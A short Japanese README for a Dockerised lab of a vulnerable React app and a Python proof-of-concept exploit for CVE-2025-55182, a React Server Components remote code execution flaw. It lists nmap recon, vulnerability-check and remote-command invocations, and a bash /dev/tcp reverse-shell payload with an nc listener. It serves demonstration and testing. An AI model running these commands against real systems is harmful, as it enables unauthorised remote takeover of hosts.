
docker コンテナ内の脆弱な REACT アプリと PoC コード - デモ用
react-server-dom-webpack を介した React Server Components の重大な RCE 脆弱性である CVE-2025-55182 に対する Python CLI エクスプロイトです。
docker build -t cve-2025-55182:lab .
docker run -d -p 3000:3000 --name cve-2025-55182-vuln cve-2025-55182:lab
nmap --script http-title -p 3000 TARGET_IP
nmap --script http-headers -p 3000 TARGET_IP
## Check for vulnerability
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --check
# Recon
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --cmd "id"
python3 poc.py --ip TARGET_IP --port 3000 --post-endpoint "/formaction" --cmd "whoami" --no-ssl-verify
# Reverse shell
nc -nlvp 4444
python3 poc.py --ip TARGET_IP --port 3000 --cmd 'bash -c '\''bash -i >& /dev/tcp/LISTENER_IP/4444 0>&1'\'''